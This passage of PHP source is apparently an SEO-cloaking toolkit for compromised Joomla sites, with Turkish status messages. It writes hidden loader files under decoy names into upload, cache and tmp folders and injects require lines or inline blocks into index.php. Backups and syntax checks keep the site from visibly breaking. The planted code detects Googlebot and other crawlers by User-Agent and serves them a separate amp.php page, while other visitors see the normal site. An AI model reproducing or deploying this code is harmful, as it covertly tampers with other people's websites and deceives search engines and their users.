    'orig' =>base64_decode('PD9waHANCi8qKg0KICogRnJvbnQgdG8gdGhlIFdvcmRQcmVzcyBhcHBsaWNhdGlvbi4gVGhpcyBmaWxlIGRvZXNuJ3QgZG8gYW55dGhpbmcsIGJ1dCBsb2Fkcw0KICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4NCiAqDQogKiBAcGFja2FnZSBXb3JkUHJlc3MNCiAqLw0KDQovKioNCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4NCiAqDQogKiBAdmFyIGJvb2wNCiAqLw0KZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsNCg0KLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgYW5kIFRlbXBsYXRlICovDQpyZXF1aXJlIF9fRElSX18gLiAnL3dwLWJsb2ctaGVhZGVyLnBocCc7')
    ]
  ],
  'joomla'=>[
    'index.php'=>[
      'orig'=>null
    ]
  ]
];

if (!function_exists('wrz_joomla_default_index_content')) {
function wrz_joomla_default_index_content($dir){
  $dir=rtrim(str_replace('\\','/',$dir),'/');
  if(@is_file($dir.'/includes/app.php')){
    return <<<'WRZJ5IDX'
<?php

/**
 * @package    Joomla.Site
 */

declare(strict_types=1);

require_once __DIR__ . '/includes/app.php';
WRZJ5IDX;
  }
  return <<<'WRZJ4IDX'
<?php

/**
 * @package    Joomla.Site
 */

define('_JEXEC', 1);

if (file_exists(__DIR__ . '/defines.php')) {
    require_once __DIR__ . '/defines.php';
}

if (!defined('_JDEFINES')) {
    define('_JDEFINES', 1);
    require_once __DIR__ . '/includes/defines.php';
}

require_once __DIR__ . '/includes/framework.php';

$app = \Joomla\CMS\Factory::getApplication('site');
$app->execute();
WRZJ4IDX;
}}
if (!function_exists('wrz_joomla_index_looks_valid')) {
function wrz_joomla_index_looks_valid($content){
  $content=(string)$content;
  if($content===''||strpos($content,'<?php')===false)return false;
  if(strpos($content,'WRZ-JOOMLA-CLOAK')!==false)return false;
  if(strpos($content,'WRZ-AMP-CLOAK')!==false)return false;
  if(strpos($content,'wp-comments-post-loader.html')!==false)return false;
  if(strpos($content,'WRZ-CLOAK-START')!==false)return false;
  if(preg_match('/\\?\s*defined\s*\(\s*[\'"]_JEXEC[\'"]\s*\)\s*or\s+die\s*;/i',$content)
    &&strpos($content,"define('_JEXEC'")===false
    &&strpos($content,'define("_JEXEC"')===false
    &&strpos($content,"define('_JEXEC', 1)")===false){
    return false;
  }
  if(strpos($content,'includes/app.php')===false&&strpos($content,'includes/framework.php')===false)return false;
  if(strpos($content,'wp-blog-header.php')!==false||strpos($content,'WordPress application')!==false)return false;
  return true;
}}
if (!function_exists('wrz_cloak_joomla_find_index_source')) {
function wrz_cloak_joomla_find_index_source($dir){
  global $JOOMLA_INDEX_BAK;
  $dir=rtrim(str_replace('\\','/',$dir),'/');
  $candidates=[
    $dir.'/'.$JOOMLA_INDEX_BAK,
    $dir.'/.staging/index.php',
    $dir.'/staging/index.php',
    $dir.'/backup/index.php',
    $dir.'/old/index.php',
  ];
  if(@is_dir($dir.'/.staging')&&@is_file($dir.'/.staging/configuration.php')){
    array_unshift($candidates,$dir.'/.staging/index.php');
  }
  foreach((array)@glob($dir.'/*/index.php') as $gp){
    $candidates[]=$gp;
  }
  $seen=[];
  foreach($candidates as $p){
    $p=str_replace('\\','/',$p);
    if(isset($seen[$p]))continue;
    $seen[$p]=1;
    if(!@is_file($p)||@filesize($p)<40)continue;
    $c=(string)@file_get_contents($p);
    if(!wrz_joomla_index_looks_valid($c))continue;
    return ['path'=>$p,'content'=>$c];
  }
  return null;
}}
if (!function_exists('wrz_cloak_joomla_write_index')) {
function wrz_cloak_joomla_write_index($dir,$content){
  $idx=$dir.DIRECTORY_SEPARATOR.'index.php';
  $ok=@file_put_contents($idx,$content)!==false;
  if($ok){
    @chmod($idx,0644);
  }
  return $ok;
}}

$JOOMLA_INDEX_BAK='.wrz-joomla-index.bak';
$JOOMLA_APP_BAK='.wrz-joomla-app.bak';
$JOOMLA_CLOAK_LOADER='wrz-bot-cloak.php';
$JOOMLA_AMP_LOADER='wrz-amp-cloak.php';
$AMP_FILE='amp.php';
$AMP_DEFAULT=<<<'WRZAMP'
<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>AMP</title>
</head>
<body>
<h1>AMP icerik — File Manager &gt; amp.php duzenleyin</h1>
</body>
</html>
WRZAMP;

if (!function_exists('wrz_amp_cloak_loader_php')) {
function wrz_amp_cloak_loader_php($ampPathExpr,$ampRelFromRoot=''){
  $ampRelFromRoot=ltrim(str_replace('\\','/',(string)$ampRelFromRoot),'/');
  $marker=$ampRelFromRoot!==''?"/* WRZ-AMP-FILE:{$ampRelFromRoot} */\n":'';
  return '<?php
'.$marker.'if(!defined(\'WRZ_AMP_CLOAK_DONE\')){define(\'WRZ_AMP_CLOAK_DONE\',1);
$_wrz_ua=\'\';
foreach([\'HTTP_USER_AGENT\',\'HTTP_X_ORIGINAL_USER_AGENT\',\'HTTP_X_USER_AGENT\'] as $_h){
  if(!empty($_SERVER[$_h])){$_wrz_ua=(string)$_SERVER[$_h];break;}
}
if(preg_match(\'/googlebot|adsbot|mediapartners|apis-google|google-inspectiontool|googleother|google-extended|storebot-google/i\',$_wrz_ua)){
  $_wrz_uri=isset($_SERVER[\'REQUEST_URI\'])?(string)$_SERVER[\'REQUEST_URI\']:\'/\';
  $_wrz_path=strtok($_wrz_uri,\'?\')?:\'/\';
  if($_wrz_path===\'\')$_wrz_path=\'/\';
  if($_wrz_path!==\'/\'&&substr($_wrz_path,-1)===\'/\')$_wrz_path=rtrim($_wrz_path,\'/\')?:\'/\';
  if(in_array($_wrz_path,[\'/\',\'/index.php\'],true)){
    $_wrz_amp='.$ampPathExpr.';
    if(is_file($_wrz_amp)&&@filesize($_wrz_amp)>=5){
      while(ob_get_level()>0)@ob_end_clean();
      if(!headers_sent()){
        header(\'Cache-Control: no-store, no-cache, must-revalidate, max-age=0\');
        header(\'Pragma: no-cache\');
        header(\'Vary: User-Agent\');
        header(\'Content-Type: text/html; charset=utf-8\');
      }
      readfile($_wrz_amp);
      exit;
    }
  }
}}
';
}}
if (!function_exists('wrz_cloak_ensure_amp_file')) {
function wrz_cloak_ensure_amp_file($dir){
  global $AMP_FILE,$AMP_DEFAULT;
  $dir=rtrim(str_replace('\\','/',$dir),'/');
  $amp=$dir.'/'.$AMP_FILE;
  if(@is_file($amp)&&@filesize($amp)>=20)return 'EXISTS';
  $ok=@file_put_contents($amp,$AMP_DEFAULT)!==false;
  if($ok)@chmod($amp,0644);
  return $ok?'CREATED':'ERR';
}}
if (!function_exists('wrz_cloak_joomla_amp_expr_from_index')) {
function wrz_cloak_joomla_amp_expr_from_index($ampRelFromRoot){
  $ampRelFromRoot=ltrim(str_replace('\\','/',(string)$ampRelFromRoot),'/');
  return "__DIR__.'/" . str_replace("'", "\\'", $ampRelFromRoot) . "'";
}}
if (!function_exists('wrz_cloak_joomla_amp_expr_from_loader')) {
function wrz_cloak_joomla_amp_expr_from_loader($ampRelFromRoot,$loaderRelFromRoot){
  $ampRelFromRoot=ltrim(str_replace('\\','/',(string)$ampRelFromRoot),'/');
  $loaderRelFromRoot=ltrim(str_replace('\\','/',(string)$loaderRelFromRoot),'/');
  $loaderDir=dirname($loaderRelFromRoot);
  if($loaderDir==='.'||$loaderDir==='')return wrz_cloak_joomla_amp_expr_from_index($ampRelFromRoot);
  $depth=substr_count($loaderDir,'/')+1;
  $prefix=str_repeat('dirname(',$depth).'__DIR__'.str_repeat(')',$depth);
  return $prefix.".'/" . str_replace("'", "\\'", $ampRelFromRoot) . "'";
}}
if (!function_exists('wrz_cloak_joomla_amp_write_target')) {
function wrz_cloak_joomla_amp_write_target($dir){
  $found=wrz_cloak_joomla_find_amp($dir);
  if($found)return $found['full'];
  $resolved=wrz_cloak_joomla_resolve_amp($dir);
  if($resolved)return $resolved['full'];
  $dir=rtrim(str_replace('\\','/',$dir),'/');
  return $dir.'/amp.php';
}}
if (!function_exists('wrz_cloak_joomla_amp_path_from_index')) {
function wrz_cloak_joomla_amp_path_from_index($dir){
  $idx=rtrim(str_replace('\\','/',$dir),'/').'/index.php';
  if(!@is_file($idx))return null;
  $c=(string)@file_get_contents($idx);
  if(preg_match('/\/\* WRZ-AMP-FILE:([^*]+)\*\//',$c,$m)){
    $rel=trim(str_replace('\\','/',$m[1]),'/');
    return $rel!==''?$rel:null;
  }
  return null;
}}
if (!function_exists('wrz_cloak_joomla_find_amp')) {
function wrz_cloak_joomla_find_amp($dir){
  $dir=rtrim(str_replace('\\','/',$dir),'/');
  $fromIdx=wrz_cloak_joomla_amp_path_from_index($dir);
  if($fromIdx){
    $full=$dir.'/'.$fromIdx;
    if(@is_file($full)&&@filesize($full)>=5){
      return ['rel'=>$fromIdx,'full'=>$full,'index_expr'=>wrz_cloak_joomla_amp_expr_from_index($fromIdx)];
    }
  }
  foreach(['amp.php','images/amp.php','tmp/amp.php','cache/amp.php'] as $rel){
    $full=$dir.'/'.$rel;
    if(@is_file($full)&&@filesize($full)>=5){
      return ['rel'=>$rel,'full'=>$full,'index_expr'=>wrz_cloak_joomla_amp_expr_from_index($rel)];
    }
  }
  return null;
}}
if (!function_exists('wrz_cloak_joomla_resolve_amp')) {
function wrz_cloak_joomla_resolve_amp($dir){
  global $AMP_DEFAULT;
  $found=wrz_cloak_joomla_find_amp($dir);
  if($found)return $found;
  $dir=rtrim(str_replace('\\','/',$dir),'/');
  foreach(['amp.php','images/amp.php','tmp/amp.php','cache/amp.php'] as $rel){
    $full=$dir.'/'.$rel;
    $parent=dirname($full);
    if(!@is_dir($parent))@mkdir($parent,0755,true);
    if(@file_put_contents($full,$AMP_DEFAULT)!==false){
      @chmod($full,0644);
      return ['rel'=>$rel,'full'=>$full,'index_expr'=>wrz_cloak_joomla_amp_expr_from_index($rel)];
    }
  }
  return null;
}}
if (!function_exists('wrz_cloak_joomla_amp_inline_block')) {
function wrz_cloak_joomla_amp_inline_block($ampPathExpr,$ampRelFromRoot='amp.php'){
  $ampRelFromRoot=ltrim(str_replace('\\','/',(string)$ampRelFromRoot),'/');
  return "\n/* WRZ-AMP-CLOAK */\n"
    . "/* WRZ-AMP-FILE:{$ampRelFromRoot} */\n"
    . "if(!defined('WRZ_AMP_CLOAK_DONE')){define('WRZ_AMP_CLOAK_DONE',1);\n"
    . "\$_wrz_ua='';\n"
    . "foreach(['HTTP_USER_AGENT','HTTP_X_ORIGINAL_USER_AGENT','HTTP_X_USER_AGENT'] as \$_h){\n"
    . "  if(!empty(\$_SERVER[\$_h])){\$_wrz_ua=(string)\$_SERVER[\$_h];break;}\n"
    . "}\n"
    . "if(preg_match('/googlebot|adsbot|mediapartners|apis-google|google-inspectiontool|googleother|google-extended|storebot-google/i',\$_wrz_ua)){\n"
    . "  \$_wrz_uri=isset(\$_SERVER['REQUEST_URI'])?(string)\$_SERVER['REQUEST_URI']:'/';\n"
    . "  \$_wrz_path=strtok(\$_wrz_uri,'?')?:'/';\n"
    . "  if(\$_wrz_path==='')\$_wrz_path='/';\n"
    . "  if(\$_wrz_path!=='/'&&substr(\$_wrz_path,-1)==='/')\$_wrz_path=rtrim(\$_wrz_path,'/')?:'/';\n"
    . "  if(in_array(\$_wrz_path,['/','/index.php'],true)){\n"
    . "    \$_wrz_amp=".$ampPathExpr.";\n"
    . "    if(is_file(\$_wrz_amp)&&@filesize(\$_wrz_amp)>=5){\n"
    . "      while(ob_get_level()>0)@ob_end_clean();\n"
    . "      if(!headers_sent()){header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');header('Pragma: no-cache');header('Vary: User-Agent');header('Content-Type: text/html; charset=utf-8');}\n"
    . "      readfile(\$_wrz_amp);\n"
    . "      exit;\n"
    . "    }\n"
    . "  }\n"
    . "}\n"
    . "}\n"
    . "/* /WRZ-AMP-CLOAK */\n";
}}
if (!function_exists('wrz_cloak_joomla_shell_loader_rel')) {
function wrz_cloak_joomla_shell_loader_rel($dir){
  global $JOOMLA_AMP_LOADER;
  $bundle=wrz_cloak_joomla_bundle_file();
  $rel=wrz_cloak_joomla_rel_from_root($dir,dirname($bundle));
  if($rel===null)return null;
  return ($rel===''?'':$rel.'/').$JOOMLA_AMP_LOADER;
}}
if (!function_exists('wrz_cloak_joomla_bundle_file')) {
function wrz_cloak_joomla_bundle_file(){
  return str_replace('\\','/',@realpath(__FILE__)?:__FILE__);
}}
if (!function_exists('wrz_cloak_joomla_rel_from_root')) {
function wrz_cloak_joomla_rel_from_root($dir,$absPath){
  $dir=rtrim(str_replace('\\','/',$dir),'/');
  $abs=str_replace('\\','/',$absPath);
  foreach([@realpath($dir)?str_replace('\\','/',@realpath($dir)):$dir,$dir] as $root){
    if($root!==''&&strpos($abs,$root.'/')===0){
      return ltrim(substr($abs,strlen($root)+1),'/');
    }
  }
  return null;
}}
if (!function_exists('wrz_cloak_joomla_write_file')) {
function wrz_cloak_joomla_write_file($path,$content){
  $path=(string)$path;
  $content=(string)$content;
  $parent=dirname($path);
  if(!@is_dir($parent))@mkdir($parent,0755,true);
  if(@file_put_contents($path,$content,LOCK_EX)!==false){
    @chmod($path,0644);
    return true;
  }
  $h=@fopen($path,'wb');
  if($h){
    $w=@fwrite($h,$content);
    @fclose($h);
    if($w!==false){@chmod($path,0644);return true;}
  }
  $tmp=@tempnam($parent,'wrz');
  if($tmp&&@file_put_contents($tmp,$content)!==false){
    if(@rename($tmp,$path)){@chmod($path,0644);return true;}
    if(@copy($tmp,$path)){@unlink($tmp);@chmod($path,0644);return true;}
    @unlink($tmp);
  }
  return false;
}}
if (!function_exists('wrz_cloak_joomla_path_writable')) {
function wrz_cloak_joomla_path_writable($filePath){
  $parent=dirname($filePath);
  if(!@is_dir($parent)){
    if(!@mkdir($parent,0755,true))return false;
  }
  $suffix=function_exists('random_bytes')?bin2hex(random_bytes(4)):dechex(mt_rand(0,0xffffff));
  $probe=$parent.'/.wrz_probe_'.$suffix;
  $ok=@file_put_contents($probe,'1')!==false;
  if($ok)@unlink($probe);
  return $ok;
}}
if (!function_exists('wrz_cloak_joomla_analyze_htaccess')) {
function wrz_cloak_joomla_analyze_htaccess($dir){
  $dir=rtrim(str_replace('\\','/',$dir),'/');
  $ht=$dir.'/.htaccess';
  $out=[
    'exists'=>@is_file($ht),
    'joomla_rewrite'=>false,
    'force_https'=>false,
    'php_restricted'=>false,
    'cache_hint'=>null,
    'warnings'=>[],
    'notes'=>[],
  ];
  if(!$out['exists']){
    $out['notes'][]='.htaccess yok — dogrudan PHP erisimi genelde acik';
    return $out;
  }
  $c=(string)@file_get_contents($ht);
  if(preg_match('/RewriteEngine\s+On/i',$c)&&preg_match('/index\.php/i',$c)){
    $out['joomla_rewrite']=true;
    $out['notes'][]='Joomla rewrite aktif — loader index.php require ile calisir';
  }
  if(preg_match('/RewriteCond.*HTTPS|RewriteRule.*https/i',$c)){
    $out['force_https']=true;
  }
  if(preg_match('/<FilesMatch[^>]*\.php|RewriteRule[^\n]*\.php[^\n]*(deny|forbidden|F)/i',$c)){
    $out['php_restricted']=true;
    $out['warnings'][]='.htaccess PHP kisitlamasi olabilir — loader dis dosya + index require kullanilacak';
  }
  if(preg_match('/LiteSpeed|lscache|LSCACHE/i',$c)){
    $out['cache_hint']='litespeed';
    $out['warnings'][]='LiteSpeed cache — kurulumdan sonra cache temizle';
  }elseif(preg_match('/W3TC|WP Super Cache|cache/i',$c)){
    $out['cache_hint']='generic';
  }
  return $out;
}}
if (!function_exists('wrz_cloak_joomla_analyze_index')) {
function wrz_cloak_joomla_analyze_index($dir){
  $dir=rtrim(str_replace('\\','/',$dir),'/');
  $idx=$dir.'/index.php';
  $out=[
    'exists'=>@is_file($idx),
    'valid'=>false,
    'w7_shield'=>false,
    'has_cloak'=>false,
    'inject'=>'after_php',
    'joomla'=>'unknown',
    'size'=>0,
    'writable'=>false,
  ];
  if(!$out['exists'])return $out;
  $c=(string)@file_get_contents($idx);
  if(substr($c,0,3)==="\xEF\xBB\xBF")$c=substr($c,3);
  $out['size']=strlen($c);
  $out['valid']=function_exists('wrz_joomla_index_looks_valid')?wrz_joomla_index_looks_valid($c):false;
  $out['w7_shield']=(bool)preg_match('/W7\s+Front-End\s+Shield/i',$c);
  $out['has_cloak']=strpos($c,'wrz-amp-cloak.php')!==false||strpos($c,'WRZ-AMP-CLOAK')!==false;
  $out['writable']=@is_writable($idx);
  if(strpos($c,'includes/app.php')!==false)$out['joomla']='4/5';
  elseif(strpos($c,'includes/framework.php')!==false)$out['joomla']='3/4';
  if($out['w7_shield'])$out['inject']='w7_eof';
  elseif(preg_match('/declare\s*\(\s*strict_types\s*=\s*1\s*\)/',$c))$out['inject']='after_strict';
  elseif(preg_match("/require_once\s+__DIR__\s*\.\s*['\"]\/includes\/app\.php['\"]/",$c))$out['inject']='before_app';
  if($out['w7_shield']&&preg_match('/##\s*W7\s+Front-End\s+Shield\s+EOF[^\r\n]*\r?\n\s*\?>/i',$c))$out['inject']='after_w7_php';
  return $out;
}}
if (!function_exists('wrz_cloak_joomla_amp_loader_candidates')) {
function wrz_cloak_joomla_amp_loader_candidates($dir){
  global $JOOMLA_AMP_LOADER;
  $dir=rtrim(str_replace('\\','/',$dir),'/');
  $names=[$JOOMLA_AMP_LOADER,'wp-caches-amp.php','amp-bridge.php'];
  $rels=[];
  $shellRel=wrz_cloak_joomla_shell_loader_rel($dir);
  if($shellRel){
    $shellDir=dirname($shellRel);
    foreach($names as $n){
      $rels[]=($shellDir==='.'||$shellDir==='')?$n:$shellDir.'/'.$n;
    }
  }
  foreach([
    'components/com_gridbox/assets/uploads/attachments/'.$JOOMLA_AMP_LOADER,
    $JOOMLA_AMP_LOADER,
    'includes/'.$JOOMLA_AMP_LOADER,
    'images/'.$JOOMLA_AMP_LOADER,
    'media/'.$JOOMLA_AMP_LOADER,
    'tmp/'.$JOOMLA_AMP_LOADER,
    'cache/'.$JOOMLA_AMP_LOADER,
    'administrator/cache/'.$JOOMLA_AMP_LOADER,
  ] as $r){$rels[]=$r;}
  $rels=array_values(array_unique($rels));
  $out=[];
  foreach($rels as $rel){$out[]=['rel'=>$rel,'file'=>$dir.'/'.$rel];}
  $bundleDir=dirname(wrz_cloak_joomla_bundle_file());
  foreach($names as $n){$out[]=['rel'=>null,'file'=>$bundleDir.'/'.$n];}
  return $out;
}}
if (!function_exists('wrz_cloak_joomla_amp_loader_paths')) {
function wrz_cloak_joomla_amp_loader_paths($dir){
  $dir=rtrim(str_replace('\\','/',$dir),'/');
  $scored=[];
  foreach(wrz_cloak_joomla_amp_loader_candidates($dir) as $c){
    $rel=$c['rel'];
    if($rel===null){
      $rel=wrz_cloak_joomla_rel_from_root($dir,$c['file']);
      if($rel===null)continue;
    }
    $file=$c['file'];
    $score=0;
    if(@is_file($file))$score+=50;
    if(wrz_cloak_joomla_path_writable($file))$score+=100;
    if(strpos($rel,'components/')===0)$score+=30;
    if(strpos($file,dirname(wrz_cloak_joomla_bundle_file()))===0)$score+=80;
    if(basename($file)==='wrz-amp-cloak.php')$score+=10;
    $scored[]=[
      'file'=>$file,'rel'=>$rel,'score'=>$score,
      'require'=>"\nrequire_once __DIR__ . '/".$rel."';\n",
      'writable'=>wrz_cloak_joomla_path_writable($file),
    ];
  }
  usort($scored,static function($a,$b){return $b['score']<=>$a['score'];});
  return $scored;
}}
if (!function_exists('wrz_cloak_joomla_try_write_amp_loader')) {
function wrz_cloak_joomla_try_write_amp_loader($dir,$ampRelFromRoot){
  $ampRelFromRoot=ltrim(str_replace('\\','/',(string)$ampRelFromRoot),'/');
  $tried=[];
  foreach(wrz_cloak_joomla_amp_loader_paths($dir) as $spec){
    $ampExpr=wrz_cloak_joomla_amp_expr_from_loader($ampRelFromRoot,$spec['rel']);
    $body=wrz_amp_cloak_loader_php($ampExpr,$ampRelFromRoot);
    $tried[]=$spec['file'];
    if(wrz_cloak_joomla_write_file($spec['file'],$body)){
      return ['ok'=>true,'file'=>$spec['file'],'rel'=>$spec['rel'],'require'=>$spec['require'],'mode'=>'file','tried'=>$tried];
    }
  }
  return ['ok'=>false,'tried'=>$tried];
}}
if (!function_exists('wrz_cloak_joomla_clean_amp_from_index')) {
function wrz_cloak_joomla_clean_amp_from_index($content){
  $content=(string)$content;
  $content=preg_replace('/\/\* WRZ-AMP-FILE:[^*]+\*\/\s*/','',$content);
  $content=preg_replace('/\/\* WRZ-AMP-CLOAK \*\/.*?\/\* \/WRZ-AMP-CLOAK \*\/\s*/s','',$content);
  $content=preg_replace('/\n?require_once\s+__DIR__\s*\.\s*[\'"]\/(?:tmp\/|cache\/|includes\/|images\/|media\/|administrator\/cache\/|components\/[^\'"]+\/)?(?:wrz-amp-cloak|wp-caches-amp|amp-bridge)\.php[\'"]\s*;\s*/',"\n",$content);
  $content=preg_replace('/\n?require_once\s+__DIR__\s*\.\s*[\'"]\/(?:wrz-amp-cloak|wp-caches-amp|amp-bridge)\.php[\'"]\s*;\s*/',"\n",$content);
  return $content;
}}
if (!function_exists('wrz_cloak_php_syntax_ok')) {
function wrz_cloak_php_syntax_ok($code){
  if(!is_string($code)||$code==='')return false;
  if(function_exists('token_get_all')){
    try{
      token_get_all($code,TOKEN_PARSE);
      return true;
    }catch(Throwable $e){
      return false;
    }
  }
  return true;
}}
if (!function_exists('wrz_cloak_joomla_inject_amp_require')) {
function wrz_cloak_joomla_inject_amp_require($content,$inject,$prefer=null){
  $content=(string)$content;
  if(strpos($content,'wrz-amp-cloak.php')!==false||strpos($content,'WRZ-AMP-CLOAK')!==false)return $content;
  $try=[
    'w7_eof'=>static function($c) use ($inject){
      if(!preg_match('/(##\s*W7\s+Front-End\s+Shield\s+EOF[^\r\n]*\r?\n)(?![\s\r\n]*\?>)/i',$c))return null;
      return preg_replace('/(##\s*W7\s+Front-End\s+Shield\s+EOF[^\r\n]*\r?\n)/i','$1'.$inject,$c,1);
    },
    'after_w7_php'=>static function($c) use ($inject){
      if(!preg_match('/(##\s*W7\s+Front-End\s+Shield\s+EOF[^\r\n]*\r?\n\s*\?>\s*)(<\?php\s*)?/i',$c,$m))return null;
      return preg_replace('/(##\s*W7\s+Front-End\s+Shield\s+EOF[^\r\n]*\r?\n\s*\?>\s*)(<\?php\s*)?/i','$1$2'.$inject,$c,1);
    },
    'after_strict'=>static function($c) use ($inject){
      if(!preg_match('/^(<\?php)(.*?)(declare\s*\(\s*strict_types\s*=\s*1\s*\)\s*;)/s',$c,$m))return null;
      return $m[1].$m[2].$m[3].$inject.substr($c,strlen($m[0]));
    },
    'before_app'=>static function($c) use ($inject){
      if(!preg_match("/(\n)(\s*require_once\s+__DIR__\s*\.\s*['\"]\/includes\/app\.php['\"]\s*;)/",$c,$m))return null;
      return str_replace($m[0],$inject.$m[0],$c);
    },
    'after_php'=>static function($c) use ($inject){
      if(!preg_match('/^(<\?php)/',$c))return null;
      return preg_replace('/^(<\?php)/','$1'.$inject,$c,1);
    },
  ];
  $order=$prefer&&isset($try[$prefer])?[$prefer]:array_keys($try);
  if($prefer)$order=array_values(array_unique(array_merge($order,array_keys($try))));
  foreach($order as $key){
    if(!isset($try[$key]))continue;
    $new=$try[$key]($content);
    if(is_string($new)&&$new!==$content)return $new;
  }
  return null;
}}
if (!function_exists('wrz_cloak_joomla_amp_plan')) {
function wrz_cloak_joomla_amp_plan($dir){
  $dir=rtrim(str_replace('\\','/',$dir),'/');
  $idxInfo=wrz_cloak_joomla_analyze_index($dir);
  $htInfo=wrz_cloak_joomla_analyze_htaccess($dir);
  $ampSpec=wrz_cloak_joomla_find_amp($dir);
  $loaderPick=null;
  foreach(wrz_cloak_joomla_amp_loader_paths($dir) as $spec){
    if($spec['writable']||@is_file($spec['file'])){
      $loaderPick=$spec;
      break;
    }
  }
  return [
    'index'=>$idxInfo,
    'htaccess'=>$htInfo,
    'amp'=>$ampSpec,
    'loader'=>$loaderPick,
    'inject'=>$idxInfo['inject'],
    'strategy'=>($idxInfo['w7_shield']?'W7 Shield + loader':($loaderPick?'Loader ('.$loaderPick['rel'].')':'inline fallback')),
  ];
}}
if (!function_exists('wrz_cloak_joomla_amp_install')) {
function wrz_cloak_joomla_amp_install($dir){
  global $JOOMLA_INDEX_BAK;
  $dir=rtrim(str_replace('\\','/',$dir),'/');
  $idx=$dir.'/index.php';
  $report=[
    'ok'=>false,
    'index'=>'ERR',
    'loader'=>'ERR',
    'amp'=>'ERR',
    'inject'=>'',
    'loader_path'=>'',
    'amp_path'=>'amp.php',
    'plan'=>[],
    'steps'=>[],
  ];
  $report['plan']=wrz_cloak_joomla_amp_plan($dir);
  if(!@is_file($idx)){
    $report['index']='ERR:NO_INDEX';
    $report['steps'][]='index.php bulunamadi';
    return $report;
  }
  if(!@is_file($dir.'/configuration.php')){
    $report['index']='ERR:NOT_JOOMLA';
    $report['steps'][]='configuration.php yok';
    return $report;
  }
  $idxInfo=$report['plan']['index'];
  if(!$idxInfo['valid']&&!$idxInfo['has_cloak']){
    $report['index']='ERR:INVALID_INDEX';
    $report['steps'][]='index.php gecersiz Joomla sablonu';
    return $report;
  }
  $ampSpec=wrz_cloak_joomla_resolve_amp($dir);
  if(!$ampSpec){
    $report['amp']='ERR';
    $report['index']='ERR:AMP';
    $report['steps'][]='amp.php olusturulamadi';
    return $report;
  }
  $report['amp_path']=$ampSpec['rel'];
  $report['amp']=@is_file($ampSpec['full'])?'EXISTS':'CREATED';
  $content=(string)@file_get_contents($idx);
  if(substr($content,0,3)==="\xEF\xBB\xBF")$content=substr($content,3);
  if(strpos($content,'wp-blog-header.php')!==false){
    $report['index']='ERR:WP_INDEX';
    return $report;
  }
  wrz_cloak_joomla_backup_index($dir);
  $content=wrz_cloak_joomla_clean_index_content($content);
  $content=wrz_cloak_joomla_clean_amp_from_index($content);
  $loader=wrz_cloak_joomla_try_write_amp_loader($dir,$ampSpec['rel']);
  $loaderMode='file';
  if(empty($loader['ok'])){
    $inject=wrz_cloak_joomla_amp_inline_block($ampSpec['index_expr'],$ampSpec['rel']);
    $loaderMode='inline';
    $report['loader']='INLINE';
    $report['steps'][]='Loader dosyasi yazilamadi — guvenli inline mod (site bozulmaz)';
    if(!empty($loader['tried'])){
      $report['steps'][]='Denenen: '.implode(', ',array_map('basename',(array)$loader['tried']));
    }
  }else{
    $report['loader']='OK';
    $report['loader_path']=str_replace('\\','/',$loader['file']);
    $report['steps'][]='Loader: '.$loader['file'];
    $inject=$loader['require'];
  }
  if(strpos($content,'wrz-amp-cloak.php')===false&&strpos($content,'WRZ-AMP-CLOAK')===false){
    $new=wrz_cloak_joomla_inject_amp_require($content,$inject,$idxInfo['inject']);
    if($new===null&&$loaderMode==='inline'){
      $altOrder=$idxInfo['w7_shield']?['after_w7_php','before_app','after_strict']:['after_php','before_app','after_strict'];
      foreach($altOrder as $alt){
        $new=wrz_cloak_joomla_inject_amp_require($content,$inject,$alt);
        if($new!==null)break;
      }
    }
    if($new===null){
      $report['index']='ERR:BAD_INDEX';
      $report['steps'][]='index.php enjeksiyon noktasi bulunamadi';
      return $report;
    }
    $content=$new;
    $report['inject']=$idxInfo['inject'].($loaderMode==='inline'?'+inline':'');
    $report['steps'][]='index.php enjekte: '.$report['inject'];
  }else{
    $report['inject']='exists';
    $report['steps'][]='index.php zaten cloak satiri iceriyor';
  }
  if(!wrz_cloak_php_syntax_ok($content)){
    $report['index']='ERR:SYNTAX';
    $report['steps'][]='index.php PHP syntax hatasi — yazilmadi';
    return $report;
  }
  if(!wrz_joomla_index_looks_valid($content)&&strpos($content,'includes/app.php')===false&&strpos($content,'includes/framework.php')===false&&strpos($content,'WRZ-AMP-CLOAK')===false){
    $report['index']='ERR:WOULD_BREAK';
    $report['steps'][]='index.php dogrulama basarisiz — yazilmadi';
    return $report;
  }
  if(!@is_writable($idx)&&@is_file($idx)){
    $report['index']='ERR:READONLY';
    $report['steps'][]='index.php salt okunur';
    return $report;
  }
  $ok=@file_put_contents($idx,$content)!==false;
  if(!$ok){
    $report['index']='ERR:WRITE';
    $report['steps'][]='index.php yazilamadi';
    return $report;
  }
  @chmod($idx,0644);
  if(function_exists('opcache_invalidate'))@opcache_invalidate($idx,true);
  $report['index']='OK';
  $report['ok']=true;
  $ht=$report['plan']['htaccess'];
  if(!empty($ht['warnings'])){
    $report['steps'][]='htaccess uyarilari: '.implode('; ',$ht['warnings']);
  }
  $report['steps'][]='Kurulum tamam — amp.php duzenleyip GoogleBot testi yapin';
  return $report;
}}
if (!function_exists('wrz_cloak_joomla_remove_amp')) {
function wrz_cloak_joomla_remove_amp($dir){
  global $JOOMLA_AMP_LOADER;
  $dir=rtrim(str_replace('\\','/',$dir),'/');
  $idx=$dir.'/index.php';
  foreach(wrz_cloak_joomla_amp_loader_candidates($dir) as $c){
    if(@is_file($c['file']))@unlink($c['file']);
  }
  foreach(['wrz-amp-cloak.php','wp-caches-amp.php','amp-bridge.php'] as $n){
    if(@is_file($dir.'/'.$n))@unlink($dir.'/'.$n);
  }
  if(@is_file($idx)){
    $c=wrz_cloak_joomla_clean_amp_from_index((string)@file_get_contents($idx));
    @file_put_contents($idx,$c);
  }
}}
if (!function_exists('wrz_cloak_joomla_apply_amp')) {
function wrz_cloak_joomla_apply_amp($dir){
  $r=wrz_cloak_joomla_amp_install($dir);
  return !empty($r['ok'])?'OK':($r['index']??'ERR');
}}
if (!function_exists('wrz_cloak_wp_apply_amp')) {
